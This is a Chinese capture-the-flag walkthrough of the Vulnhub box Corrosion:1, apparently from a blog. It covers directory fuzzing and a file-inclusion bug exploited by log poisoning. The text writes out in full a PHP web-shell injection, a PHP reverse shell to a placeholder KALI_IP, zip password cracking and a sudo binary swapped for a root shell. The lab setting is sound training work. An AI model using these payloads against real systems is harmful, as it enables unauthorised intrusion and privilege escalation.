【Vulnhub】Corrosion:1
Corrosion:1
Description
Difficulty:Easy
A easy box for beginners,but not too easy. Good Luck.
信息收集
首先用 fscan 扫一下内网,查看目标靶机的IP
fscan.exe -h 192.168.1-255
扫描到 ip 为 192.168.1.5

接下来使用 nmap 扫描目标靶机全端口及服务
nmap -A -sV -p- 192.168.1.5

可以看到开放了 22 和 80 端口【这里猜测了一下渗透方法,估计是扫描目录然后获取ssh账号密码信息,再ssh连接提权等操作】
进入 http://192.168.1.5/ 查看网页 和 网页源代码,没有信息
尝试使用 dirsearch 扫描目录
python dirsearch.py -u http://192.168.1.5/

扫描到 /tasks/ 目录,进入查看发现 tasks_todo.txt 文件

点击查看文件内容

显示需要完成三个任务,看到让修改22端口猜测是跟ssh有关,但是之后就没有提示了
【到这里还是发现以前常用的 dirsearch 工具及默认字典还是不好用,现在逐渐开始使用 ffuf 以及kali系统自带的一个大字典】
使用 ffuf 扫描
ffuf.exe -w ..\..\wordlist\directory-list-2.3-medium.txt -u http://192.168.1.5/FUZZ

在 blog-post 目录扫描到一个 handsome man!

继续对这个目录进行深度扫描
ffuf.exe -w ..\..\wordlist\directory-list-2.3-medium.txt -u http://192.168.1.5/blog-post/FUZZ

扫描得到两个目录,分别查看
第一个 archives 是一个文件目录,有一个名为 randylogs.php 文件【其实根据这个php文件名就能想到,前面我们在 tasks_todo.txt 文件里面查看到的提示,猜测与日志文件、文件包含有关,但是参数不知道】
第二个 uploads 目录进入,还是之前的图片


来用 ffuf 爆破一下 文件包含的参数
ffuf.exe -w ..\..\wordlist\directory-list-2.3-medium.txt -u http://192.168.1.5/blog-post/archives/randylogs.php?FUZZ=/etc/passwd -fs 0
找到一个有大小的参数 file

打开 http://192.168.1.5/blog-post/archives/randylogs.php?file=/etc/passwd 验证文件包含漏洞

漏洞利用
ssh默认的日志文件在 /var/log/auth.log 记录 ssh 连接信息
包含ssh日志文件的 url 为:
http://192.168.1.5/blog-post/archives/randylogs.php?file=/var/log/auth.log

测试发现登陆失败的用户名会被记录进去

之后尝试使用 ssh [恶意代码]@192.168.1.5 的方法失败,不信邪又将这些恶意代码进行编码还是不行,报错显示含有无效字符...【漫长的尝试后...终于在外网找到了方法】
我们这里不适用ssh了,改用 curl SFTP 来代替 ssh 的用户名提交
curl -si -u '<?php echo shell_exec($_GET['cmd']);?>' sftp://192.168.1.5/test -k

果然直接成功了,接下来访问 http://192.168.1.5/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=id 能看到

既然如此
kali上开始监听
nc -nvlp 4242

php写反弹shell... 【KALI_IP要修改成你自己 kali 的 ip】
php -r '$sock=fsockopen("KALI_IP",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
对其进行URL编码得到
php%20-r%20%27%24sock%3Dfsockopen%28%22KALI_IP%22%2C4242%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27
然后将cmd参数改为URL编码后的shell,直接访问
192.168.1.5/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=php%20-r%20%27%24sock%3Dfsockopen%28%22KALI_IP%22%2C4242%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27
再看监听状态

成功进入内网
提权
在内网里不断cd,查看到 backups 文件夹中有一个 user_backup.zip 文件,看名字像是用户的备份文件
直接用 unzip 命令解压
unzip user_backup.zip

解压失败。
搭建个http服务,把 zip 文件下载下来
python3 -m http.server

点击下载后解压

还得需要密码。。。
使用kali密码破解工具 fcrackzip
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt user_backup.zip
得到密码 !randybaby【我这里将字典放在了和压缩包同目录了】

解压,输入解压密码,cat得到 randylovesgoldfish1998

ssh登录 randy 账号,ls查看到有个user.txt文件,不知道有啥用...

sudo -l

可以看到 User randy may run the following commands on corrosion: 显示
用户 randy 被允许使用 sudo 权限运行的一个特定命令的路径。在这种情况下,randy 可以使用 sudo 运行这个 /home/randy/tools/easysysinfo 命令,权限会被提升到 root
进入 /home/randy/tools 目录查看

查看一下可执行文件.py的权限

查看 .py 文件内容,运行


没什么可以利用的信息,而且 .py 文件还没办法改内容
换个思路,写个c文件编译成同名的 easysysinfo 可执行文件
#include <unistd.h>
#include <stdlib.h>
void main()
{
setuid(0);
setgid(0);
system("bash -i");
}

gcc easysysinfo.c -o easysysinfo
然后再运行提权脚本
sudo ./easysysinfo

成功提权!
cd ~,进入到 root 目录

cat root.txt


浙公网安备 33010602011771号